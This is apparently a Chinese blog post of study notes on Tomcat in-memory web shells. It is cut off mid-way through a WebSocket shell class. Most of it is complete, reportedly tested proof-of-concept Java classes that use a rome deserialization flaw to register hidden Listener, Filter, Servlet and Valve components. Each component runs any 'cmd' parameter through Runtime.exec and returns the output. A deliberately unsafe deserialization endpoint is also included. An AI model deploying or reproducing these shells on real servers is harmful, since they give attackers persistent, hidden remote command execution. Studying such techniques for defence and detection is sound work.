本文对 Tomcat 的各种内存马进行了简单学习和整理,所给出的 PoC 代码均已通过反序列化注入的方式测试成功。
引入依赖以及环境如下:
| <properties> |
| <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> |
| <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding> |
| <maven.compiler.source>8</maven.compiler.source> |
| <maven.compiler.target>8</maven.compiler.target> |
| <java.version>8</java.version> |
| <tomcat.version>9.0.60</tomcat.version> |
| </properties> |
| |
| <dependencies> |
| <dependency> |
| <groupId>org.apache.tomcat.embed</groupId> |
| <artifactId>tomcat-embed-core</artifactId> |
| <version>${tomcat.version}</version> |
| </dependency> |
| <dependency> |
| <groupId>org.apache.tomcat.embed</groupId> |
| <artifactId>tomcat-embed-jasper</artifactId> |
| <version>${tomcat.version}</version> |
| </dependency> |
| <dependency> |
| <groupId>rome</groupId> |
| <artifactId>rome</artifactId> |
| <version>1.0</version> |
| </dependency> |
| </dependencies> |
例子以 rome 的反序列化漏洞为例进行内存马的注入。反序列化入口点为:
| @WebServlet(urlPatterns = "/un") |
| public class UnServlet extends HttpServlet { |
| @Override |
| protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { |
| String payload = req.getParameter("payload"); |
| byte[] decode = Base64.getUrlDecoder().decode(payload); |
| try(ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(decode))) { |
| objectInputStream.readObject(); |
| } catch (ClassNotFoundException e) { |
| throw new RuntimeException(e); |
| } |
| } |
| } |
如果读者不懂 rome 漏洞的话,可以先去简单学习一下,或者我改天再整理整理。
这里用一句话就可以大致概括 ServletContext 、ApplicationContext、StandardContext 三者的关系:
ServletContext 是一个接口,由 ApplicationContext 实现,ApplicationContext 有 context 字段,是 StandardContext 类型,ApplicationContext 的 context 操作实际上是调用了 StandardContext,下面就是通过反射获取到 StandardContext
就先从最简单也最实用的 Listener 内存马开始介绍吧。
首先在 Listener 上下断点,然后观察一下调用栈。
分析 Listener 被调用:
先来看 StandardContext#fireRequestInitEvent(ServletRequest request) 这处,可以知道通过 getApplicationEventListeners 获取 Listeners 实例数组
而跟进 getApplicationEventListeners 可以发现返回的是 applicationEventListenersList 属性转换的数组。applicationEventListenersList 是 StandardContext 的一个私有字段的 List<Object>
也就是说,只要我们能够在 StandardContext 的 applicationEventListenersList 添加一个 Listener 对象,那么就会被实例化
那么怎么获得 StandardContext 呢,我们不妨看看调用栈的上一层,也就是 StandardHostValve
是怎么调用的吧。
用 IDEA 可以往上找几行很容易发现在 StandardHostValve
类中是用 request.getContext();
获得 context 对象
这下就明朗了,如果我们想要通过 StandardContext 添加恶意的 Listener,可以通过 request 对象来获得。但是我们怎么获得 request 对象呢?
参考前辈们的思路,可以发现在 org.apache.catalina.core.ApplicationFilterChain
中拥有 lastServicedRequest
和 lastServicedResponse
与当前线程相关的静态属性变量
并且该类的私有方法 internalDoFilter
会将 request 和 response 对象引用给 lastServicedRequest 和 lastServicedResponse
为了满足上面的 if 语句,我们可以通过反射操作修改 ApplicationDispatcher.WRAP_SAME_OBJECT
的值,并且通过 ThreadLocal#set
方法将request和response对象存储到变量中,然后通过 ThreadLocal#get
方法将 request 和 response 对象从 lastServicedRequest
和 lastServicedResponse
中取出。
不过需要注意的是 WRAP_SAME_OBJECT
是被 final 修饰的,我们需要通过反射将 final 修饰符去掉。
如下代码即可获得 StandardContext
| static { |
| try { |
| |
| Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); |
| Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); |
| Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); |
| |
| Field modifiersField = Field.class.getDeclaredField("modifiers"); |
| modifiersField.setAccessible(true); |
| |
| modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL); |
| modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); |
| modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); |
| |
| WRAP_SAME_OBJECT.setAccessible(true); |
| WRAP_SAME_OBJECT.setBoolean(null, true); |
| |
| |
| lastServicedRequest.setAccessible(true); |
| lastServicedResponse.setAccessible(true); |
| |
| if (lastServicedRequest.get(null) == null) { |
| lastServicedRequest.set(null, new ThreadLocal<>()); |
| } |
| |
| if (lastServicedResponse.get(null) == null) { |
| lastServicedResponse.set(null, new ThreadLocal<>()); |
| } |
| |
| ThreadLocal threadLocal; |
| if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){ |
| ServletRequest request = threadLocal.get(); |
| ServletContext servletContext = request.getServletContext(); |
| |
| Field appContextField = servletContext.getClass().getDeclaredField("context"); |
| appContextField.setAccessible(true); |
| ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); |
| Field standardContextField = applicationContext.getClass().getDeclaredField("context"); |
| standardContextField.setAccessible(true); |
| StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); |
| } |
| } catch (Exception e) { |
| e.printStackTrace(); |
| } |
| |
| } |
接下来我们要做的就是通过 ThreadLocal 取出保存在 lastServicedResponse
的 responese 对象,并添加恶意的 Listener 对象。下面给出完整的代码,重复注入两次即可成功。
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.core.ApplicationContext; |
| import org.apache.catalina.core.ApplicationFilterChain; |
| import org.apache.catalina.core.StandardContext; |
| |
| |
| import javax.servlet.*; |
| import javax.servlet.http.HttpServletRequest; |
| import java.io.IOException; |
| import java.io.InputStream; |
| import java.io.PrintWriter; |
| import java.lang.reflect.Field; |
| import java.lang.reflect.Modifier; |
| import java.util.Scanner; |
| |
| |
| |
| |
| |
| public class ThreadLocalInject extends AbstractTranslet implements ServletRequestListener { |
| public static ServletResponse response; |
| static { |
| try { |
| Field WRAP_SAME_OBJECT = Class.forName("org.apache.catalina.core.ApplicationDispatcher").getDeclaredField("WRAP_SAME_OBJECT"); |
| Field lastServicedRequest = ApplicationFilterChain.class.getDeclaredField("lastServicedRequest"); |
| Field lastServicedResponse = ApplicationFilterChain.class.getDeclaredField("lastServicedResponse"); |
| |
| Field modifiersField = Field.class.getDeclaredField("modifiers"); |
| modifiersField.setAccessible(true); |
| |
| modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~Modifier.FINAL); |
| modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~Modifier.FINAL); |
| modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~Modifier.FINAL); |
| |
| WRAP_SAME_OBJECT.setAccessible(true); |
| WRAP_SAME_OBJECT.setBoolean(null, true); |
| |
| |
| lastServicedRequest.setAccessible(true); |
| lastServicedResponse.setAccessible(true); |
| |
| if (lastServicedRequest.get(null) == null) { |
| lastServicedRequest.set(null, new ThreadLocal<>()); |
| } |
| |
| if (lastServicedResponse.get(null) == null) { |
| lastServicedResponse.set(null, new ThreadLocal<>()); |
| } |
| ThreadLocal threadLocal; |
| |
| if((threadLocal = (ThreadLocal)lastServicedRequest.get(null))!=null){ |
| ServletRequest request = (ServletRequest) threadLocal.get(); |
| ServletContext servletContext = request.getServletContext(); |
| Field appContextField = servletContext.getClass().getDeclaredField("context"); |
| appContextField.setAccessible(true); |
| ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext); |
| Field standardContextField = applicationContext.getClass().getDeclaredField("context"); |
| standardContextField.setAccessible(true); |
| StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext); |
| standardContext.addApplicationEventListener(new ThreadLocalInject()); |
| } |
| |
| ThreadLocal threadLocalResp; |
| if ((threadLocalResp = (ThreadLocal) lastServicedResponse.get(null))!=null){ |
| response = (ServletResponse)threadLocalResp.get(); |
| } |
| |
| } catch (Exception e) { |
| e.printStackTrace(); |
| } |
| } |
| |
| @Override |
| public void requestInitialized(ServletRequestEvent sre) { |
| HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); |
| String cmd = request.getParameter("cmd"); |
| if (cmd != null) { |
| try { |
| InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); |
| response.setContentType("text/html; charset=UTF-8"); |
| PrintWriter writer = response.getWriter(); |
| Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A"); |
| String result = scanner.hasNext()?scanner.next():""; |
| scanner.close(); |
| writer.write(result); |
| writer.flush(); |
| writer.close(); |
| } catch (IOException e) { |
| e.printStackTrace(); |
| } catch (NullPointerException n) { |
| n.printStackTrace(); |
| } |
| } |
| } |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| } |
| } |
这种方式构造虽然繁琐,但是可以获得回显。
在 tomcat 8、9 中我们可以使用较为简便的方法获得 StandardContext
。由于 tomcat 在处理线程的请求中存在 ContextLoader,而这个对象又保存了 StandardContext 所以可以很方便的获取。只需要下面这两行
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
拥有 StandardContext 已经足够让我们注入 Listener 内存马了,不过我们还没有得到 response 对象。ThreadLocal 的方式既获得了 StandardContext 也顺便获得了 request 和 response 对象。参考大佬博客大概是通过获取 AbstractProcessor 类中的全局 Response,分析很复杂,我表示一时半会理解不了,修改了一下,最终得到如下的 POC。
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.connector.Connector; |
| import org.apache.catalina.core.ApplicationContext; |
| import org.apache.catalina.core.StandardContext; |
| import org.apache.catalina.core.StandardService; |
| import org.apache.catalina.loader.WebappClassLoaderBase; |
| import org.apache.coyote.ProtocolHandler; |
| import org.apache.coyote.RequestGroupInfo; |
| import org.apache.coyote.RequestInfo; |
| import org.apache.tomcat.util.net.AbstractEndpoint; |
| |
| import javax.servlet.ServletRequestEvent; |
| import javax.servlet.ServletRequestListener; |
| import javax.servlet.ServletResponse; |
| import javax.servlet.http.HttpServletRequest; |
| import java.io.IOException; |
| import java.io.InputStream; |
| import java.io.PrintWriter; |
| import java.lang.reflect.Field; |
| import java.util.List; |
| import java.util.Scanner; |
| |
| |
| |
| |
| |
| public class WebappClassLoaderBaseInject extends AbstractTranslet implements ServletRequestListener { |
| public static ServletResponse response; |
| static { |
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
| try { |
| |
| Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"); |
| applicationContextField.setAccessible(true); |
| ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(standardContext); |
| |
| |
| Field standardServiceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"); |
| standardServiceField.setAccessible(true); |
| StandardService standardService = (StandardService) standardServiceField.get(applicationContext); |
| |
| |
| Field connectorsField = Class.forName("org.apache.catalina.core.StandardService").getDeclaredField("connectors"); |
| connectorsField.setAccessible(true); |
| Connector[] connectors = (Connector[]) connectorsField.get(standardService); |
| Connector connector = connectors[0]; |
| |
| |
| ProtocolHandler protocolHandler = connector.getProtocolHandler(); |
| Field handlerField = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredField("handler"); |
| handlerField.setAccessible(true); |
| org.apache.tomcat.util.net.AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) handlerField.get(protocolHandler); |
| |
| |
| Field globalHandler = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"); |
| globalHandler.setAccessible(true); |
| RequestGroupInfo global = (RequestGroupInfo) globalHandler.get(handler); |
| |
| |
| Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"); |
| processorsField.setAccessible(true); |
| List<RequestInfo> requestInfoList = (List<RequestInfo>) processorsField.get(global); |
| |
| |
| Field requestField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"); |
| requestField.setAccessible(true); |
| for (RequestInfo requestInfo : requestInfoList){ |
| |
| |
| org.apache.coyote.Request request = (org.apache.coyote.Request) requestField.get(requestInfo); |
| |
| |
| org.apache.catalina.connector.Request http_request = (org.apache.catalina.connector.Request) request.getNote(1); |
| response = http_request.getResponse(); |
| } |
| standardContext.addApplicationEventListener(new WebappClassLoaderBaseInject()); |
| } catch (NoSuchFieldException e) { |
| throw new RuntimeException(e); |
| } catch (ClassNotFoundException e) { |
| throw new RuntimeException(e); |
| } catch (IllegalAccessException e) { |
| throw new RuntimeException(e); |
| } |
| } |
| @Override |
| public void requestInitialized(ServletRequestEvent sre) { |
| HttpServletRequest request = (HttpServletRequest) sre.getServletRequest(); |
| String cmd = request.getParameter("cmd"); |
| if (cmd != null) { |
| try { |
| InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); |
| response.setContentType("text/html; charset=UTF-8"); |
| PrintWriter writer = response.getWriter(); |
| Scanner scanner = new java.util.Scanner(inputStream).useDelimiter("\\A"); |
| String result = scanner.hasNext()?scanner.next():""; |
| scanner.close(); |
| writer.write(result); |
| writer.flush(); |
| writer.close(); |
| } catch (IOException e) { |
| e.printStackTrace(); |
| } catch (NullPointerException n) { |
| n.printStackTrace(); |
| } |
| } |
| } |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| |
| } |
| } |
通过反序列化注入一次即可成功
在介绍 Filter 内存马之前,有几个重要的对象先要介绍一下,留个大体印象。
ApplicationFilterConfig 对象在源码中的变量名为 filterConfig,在该对象中存有 StandardContext 和 FilterDef,并且可以通过 FilterDef 获得 Filter 对象
还可以注意到这个类大体是对 FilterDef 和 context 的封装,毕竟很多地方都调用了 filterDef
FilterDef 对象在源码中的变量名为 filterDef。在 FilterDef 只存储了 Filter 对象,但是包括 filterName、filterClass 的属性。顾名思义,该类是对 Filter 的封装并且增加了一些定义
ApplicationFilterChain 对象在源码中的变量名为 filterChain。在这个类中我们只需要注意其保存了一个 ApplicationFilterConfig 数组,变量名为 filters。
在这个对象中定义了确定了 filter 的名字与拦截路由的对应关系。主要有 filterName 和 urlPatterns 的属性。
StandardContext 对象在源码中的变量名常为 context。在介绍前面的内容时,我们已经比较熟悉 StandardContext 了,不过在这里我们要再来注意一下 context 中的内容。可以发现在 context 中可以存储了 ApplicationFilterConfig 和 filterMaps
现在我们来分析一下 Filter 的调用栈:
我们首先来看 ApplicationFilterChain 的部分,可以发现最终通过 filter 的来拦截路由是从 filterConfig 中取出 filter 的。
而 filterConfig 又是从该类的 filters 属性也就是 ApplicationFilterConfig 数组中获得。
我们再来看 StandardWrapperValve 的部分,可以看到代码定位在这一行
我们不妨接着往前看,这个 filterChain 是哪里来的。
再往上几行就可以看到,是调用了 createFilterChain 方法
跟进 createFilterChain 分析一下
| public static ApplicationFilterChain createFilterChain(ServletRequest request, |
| Wrapper wrapper, Servlet servlet) { |
| ... |
| |
| ... |
| |
| filterChain = new ApplicationFilterChain(); |
| ... |
| |
| ... |
| |
| StandardContext context = (StandardContext) wrapper.getParent(); |
| FilterMap filterMaps[] = context.findFilterMaps(); |
| |
| ... |
| |
| |
| for (FilterMap filterMap : filterMaps) { |
| ... |
| ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) |
| context.findFilterConfig(filterMap.getFilterName()); |
| ... |
| filterChain.addFilter(filterConfig); |
| } |
| |
| |
| ... |
| |
| |
| return filterChain; |
| } |
我省略了一些不太紧要的代码和 if 判断语句,也不难看出 createFilterChain 也就是创建 ApplicationFilterChain 主要有这几个步骤:
FilterMap filterMaps[] = context.findFilterMaps();
获取 FilterMap 对象,后续用于通过该对象中的 filtername 取出对应的 filterConfig
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)context.findFilterConfig(filterMap.getFilterName());
取出 filterConfig
filterChain.addFilter(filterConfig);
# 也就是添加 ApplicationFilterConfig
既然已经发现可以从 context 中获得这些内容,我们也可同样的通过反射放入这些内容,实现 Filter 内存马的注入。步骤也大概如下:
- 创建一个恶意的 Filter 对象
- 将 Filter 封装到 FilterDef 中,再将 FilterDef 放到 context 并封装到 FilterConfig 中。
- 创建 FilterMap 对象并放到 context 中,确定 filterName 与 path 的关系。
- 将 FilterConfig 通过反射的方式注入到 context 的 filterconfigs 中。
这里需要注意第二步和第三步的顺序是不能改变的,原因是在还没有将 filter 放到 context 中 filterMap 是无法注册的,会有校验。
校验如下:
至于怎么获得 context 用 Listener 中介绍的方法即可。
这里放上完整的 POC
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.Context; |
| import org.apache.catalina.core.ApplicationFilterConfig; |
| import org.apache.catalina.core.StandardContext; |
| import org.apache.catalina.loader.WebappClassLoaderBase; |
| import org.apache.tomcat.util.descriptor.web.FilterDef; |
| import org.apache.tomcat.util.descriptor.web.FilterMap; |
| |
| import javax.servlet.*; |
| import java.io.IOException; |
| import java.io.InputStream; |
| import java.io.PrintWriter; |
| import java.lang.reflect.Constructor; |
| import java.lang.reflect.Field; |
| import java.util.Map; |
| |
| |
| |
| |
| |
| |
| public class TomcatFilterInject extends AbstractTranslet implements Filter { |
| static { |
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
| |
| TomcatFilterInject filter = new TomcatFilterInject(); |
| String filterName = "Poc"; |
| |
| FilterDef filterDef = new FilterDef(); |
| filterDef.setFilter(filter); |
| filterDef.setFilterName(filterName); |
| filterDef.setFilterClass(filter.getClass().getName()); |
| standardContext.addFilterDef(filterDef); |
| |
| FilterMap filterMap = new FilterMap(); |
| filterMap.setFilterName(filterName); |
| filterMap.addURLPattern("/*"); |
| filterMap.setDispatcher(DispatcherType.REQUEST.name()); |
| standardContext.addFilterMap(filterMap); |
| |
| try { |
| Field Configs = standardContext.getClass().getDeclaredField("filterConfigs"); |
| Configs.setAccessible(true); |
| Map filterConfigs = (Map) Configs.get(standardContext); |
| |
| Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); |
| constructor.setAccessible(true); |
| ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); |
| filterConfigs.put(filterName, filterConfig); |
| |
| } catch (Exception e) { |
| e.printStackTrace(); |
| } |
| |
| } |
| |
| @Override |
| public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { |
| String cmd = request.getParameter("cmd"); |
| response.setContentType("text/html; charset=UTF-8"); |
| PrintWriter writer = response.getWriter(); |
| if (cmd != null) { |
| try { |
| InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| |
| java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); |
| String result = scanner.hasNext()?scanner.next():""; |
| scanner.close(); |
| writer.write(result); |
| writer.flush(); |
| writer.close(); |
| } catch (IOException e) { |
| e.printStackTrace(); |
| } catch (NullPointerException n) { |
| n.printStackTrace(); |
| } |
| } |
| chain.doFilter(request, response); |
| } |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| |
| } |
| } |
将上述的类反序列化注入一次即可成功
研究学习了很久,还是一知半解。分析流程就不去细究了。直接动态记录一下注册 Servlet 的结论:
- 获取
StandardContext
对象
- 编写恶意Servlet
- 通过
StandardContext.createWrapper()
创建 StandardWrapper
对象
- 设置
StandardWrapper
对象的 loadOnStartup
属性值
- 设置
StandardWrapper
对象的 ServletName
属性值
- 设置
StandardWrapper
对象的 ServletClass
属性值
- 将
StandardWrapper
对象添加进 StandardContext
对象的 children
属性中
- 通过
StandardContext.addServletMappingDecoded()
添加对应的路径映射
完整的 PoC 如下
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.core.StandardContext; |
| import org.apache.catalina.core.StandardWrapper; |
| import org.apache.catalina.loader.WebappClassLoaderBase; |
| |
| import javax.servlet.*; |
| import java.io.IOException; |
| import java.io.InputStream; |
| import java.io.PrintWriter; |
| |
| |
| |
| |
| |
| public class TomcatInjectServlet extends AbstractTranslet implements Servlet { |
| static { |
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
| StandardWrapper standardWrapper = (StandardWrapper)standardContext.createWrapper(); |
| standardWrapper.setLoadOnStartup(1); |
| TomcatInjectServlet evilServlet = new TomcatInjectServlet(); |
| String servletName = evilServlet.getClass().getSimpleName(); |
| standardWrapper.setServletName(servletName); |
| standardWrapper.setServletClass(evilServlet.getClass().getName()); |
| standardWrapper.setServlet(evilServlet); |
| standardContext.addChild(standardWrapper); |
| standardContext.addServletMappingDecoded("/shell",servletName); |
| } |
| |
| |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| |
| } |
| |
| @Override |
| public void init(ServletConfig servletConfig) throws ServletException { |
| |
| } |
| |
| @Override |
| public ServletConfig getServletConfig() { |
| return null; |
| } |
| |
| @Override |
| public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException { |
| String cmd = servletRequest.getParameter("cmd"); |
| servletResponse.setContentType("text/html; charset=UTF-8"); |
| PrintWriter writer = servletResponse.getWriter(); |
| if (cmd !=null){ |
| try { |
| InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| |
| java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); |
| String result = scanner.hasNext()?scanner.next():""; |
| scanner.close(); |
| writer.write(result); |
| writer.flush(); |
| writer.close(); |
| } catch (IOException e) { |
| e.printStackTrace(); |
| } catch (NullPointerException n) { |
| n.printStackTrace(); |
| } |
| } |
| } |
| |
| @Override |
| public String getServletInfo() { |
| return null; |
| } |
| |
| @Override |
| public void destroy() { |
| |
| } |
| } |
注入一次即可成功
我们知道 tomcat 中包含有四种子容器:Engine
、Host
、Context
和Wrapper
,在这四种容器之间的消息传递是通过 tomcat 的管道机制来实现,这个管道机制类似于 Java EE 中的过滤器(Filter)和拦截器(Interceptor)机制。
Tomcat 管道机制的主要组成部分和工作原理:
- Connector(连接器):连接器是 Tomcat 接受传入请求的组件。Tomcat 支持多种连接器,如 HTTP、AJP(Apache JServ Protocol)等。每个连接器负责监听特定的端口和协议。
- Container(容器):容器是一个 Servlet 容器,负责管理和执行 Servlet 和 JSP。Tomcat 中有多个容器,其中包括 Engine、Host 和 Context。Engine 表示整个 Tomcat 服务器,Host 表示虚拟主机,而 Context 表示 Web 应用程序上下文。
- Valve(阀门):阀门是用于处理请求和响应的组件,它们位于容器内部,沿着处理管道的路径执行。每个阀门都实现了 Valve 接口,可以进行自定义配置和扩展。Tomcat 有多个内置的阀门,如请求日志、安全性检查等。
- Pipeline(管道):管道是连接器、容器和阀门之间的交互机制。它定义了请求和响应在经过一系列阀门后的处理流程。Tomcat 的处理管道通常包括以下阶段:
- Request(请求)阶段:在这个阶段,请求首先经过连接器,然后进入容器,经过一系列请求阀门的处理。请求阶段可以包括身份验证、授权等任务。
- Container(容器)阶段:在这个阶段,容器负责查找适当的 Servlet 或 JSP 并执行它们。容器阶段不同于阀门,它是处理 Servlet 请求的核心部分。
- Response(响应)阶段:在容器阶段执行完后,响应进入管道的 Response 阶段,经过一系列响应阀门的处理。响应阶段可以包括内容压缩、响应头的添加等任务。
我们可以通过注册 Valve 进行内存马的注入。步骤如下:
- 创建恶意的 Valve,设置恶意的 invoke 代码
- 获取 StandardContext
- 从 StandardContext 中获取 Pipeline
- 将 Valve 注册到 Pipeline
完整 PoC 如下:
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.Contained; |
| import org.apache.catalina.Container; |
| import org.apache.catalina.Pipeline; |
| import org.apache.catalina.Valve; |
| import org.apache.catalina.connector.Request; |
| import org.apache.catalina.connector.Response; |
| import org.apache.catalina.core.StandardContext; |
| import org.apache.catalina.loader.WebappClassLoaderBase; |
| |
| |
| import javax.servlet.ServletException; |
| import java.io.IOException; |
| import java.io.InputStream; |
| import java.io.PrintWriter; |
| |
| |
| |
| |
| |
| public class TomcatInjectValve extends AbstractTranslet implements Contained, Valve { |
| static { |
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
| StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext(); |
| Pipeline pipeline = standardContext.getPipeline(); |
| pipeline.addValve(new TomcatInjectValve()); |
| } |
| @Override |
| public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { |
| } |
| |
| @Override |
| public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { |
| } |
| |
| @Override |
| public Container getContainer() { |
| return null; |
| } |
| |
| @Override |
| public void setContainer(Container container) { |
| |
| } |
| |
| @Override |
| public Valve getNext() { |
| return null; |
| } |
| |
| @Override |
| public void setNext(Valve valve) { |
| |
| } |
| |
| @Override |
| public void backgroundProcess() { |
| |
| } |
| |
| @Override |
| public void invoke(Request request, Response response) throws IOException, ServletException { |
| String cmd = request.getParameter("cmd"); |
| response.setContentType("text/html; charset=UTF-8"); |
| PrintWriter writer = response.getWriter(); |
| if (cmd !=null){ |
| try { |
| InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| |
| java.util.Scanner scanner = new java.util.Scanner(in).useDelimiter("\\A"); |
| String result = scanner.hasNext()?scanner.next():""; |
| scanner.close(); |
| writer.write(result); |
| writer.flush(); |
| writer.close(); |
| } catch (IOException e) { |
| e.printStackTrace(); |
| } catch (NullPointerException n) { |
| n.printStackTrace(); |
| } |
| } |
| } |
| |
| @Override |
| public boolean isAsyncSupported() { |
| return false; |
| } |
| } |
注入一次即可成功,访问任意路径下均可
这是 veo 大佬研究出来的成果 https://github.com/veo/wsMemShell/
在测试环境的原本的 Maven 依赖中添加
| <dependency> |
| <groupId>org.apache.tomcat.embed</groupId> |
| <artifactId>tomcat-embed-websocket</artifactId> |
| <version>${tomcat.version}</version> |
| </dependency> |
由于 Tomcat 在启动时会默认通过 WsSci 内的 ServletContainerInitializer 初始化 Listener 和 servlet。然后再扫描 classpath
下带有 @ServerEndpoint
注解的类进行 addEndpoint
加入websocket服务,因此我们也可也在服务启动后动态添加 WebSocket 服务。
而且非常简单只需要三步。创建一个ServerEndpointConfig,获取ws ServerContainer,加入 ServerEndpointConfig,即可
| ServerEndpointConfig config = ServerEndpointConfig.Builder.create(EndpointInject.class, "/ws").build(); |
| ServerContainer container = (ServerContainer) req.getServletContext().getAttribute(ServerContainer.class.getName()); |
| container.addEndpoint(config); |
具体原理参考这里即可:https://xz.aliyun.com/t/11549#toc-3
这里直接使用下面的类,反序列化注入即可。
| import com.sun.org.apache.xalan.internal.xsltc.DOM; |
| import com.sun.org.apache.xalan.internal.xsltc.TransletException; |
| import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; |
| import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; |
| import com.sun.org.apache.xml.internal.serializer.SerializationHandler; |
| import org.apache.catalina.core.StandardContext; |
| import org.apache.catalina.loader.WebappClassLoaderBase; |
| import org.apache.catalina.webresources.StandardRoot; |
| import org.apache.tomcat.websocket.server.WsServerContainer; |
| import javax.websocket.DeploymentException; |
| import javax.websocket.server.ServerContainer; |
| import javax.websocket.server.ServerEndpointConfig; |
| import java.lang.reflect.Field; |
| import java.lang.reflect.Method; |
| |
| public class WsCmd extends AbstractTranslet { |
| static { |
| try { |
| String urlPath = "/cmd"; |
| WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); |
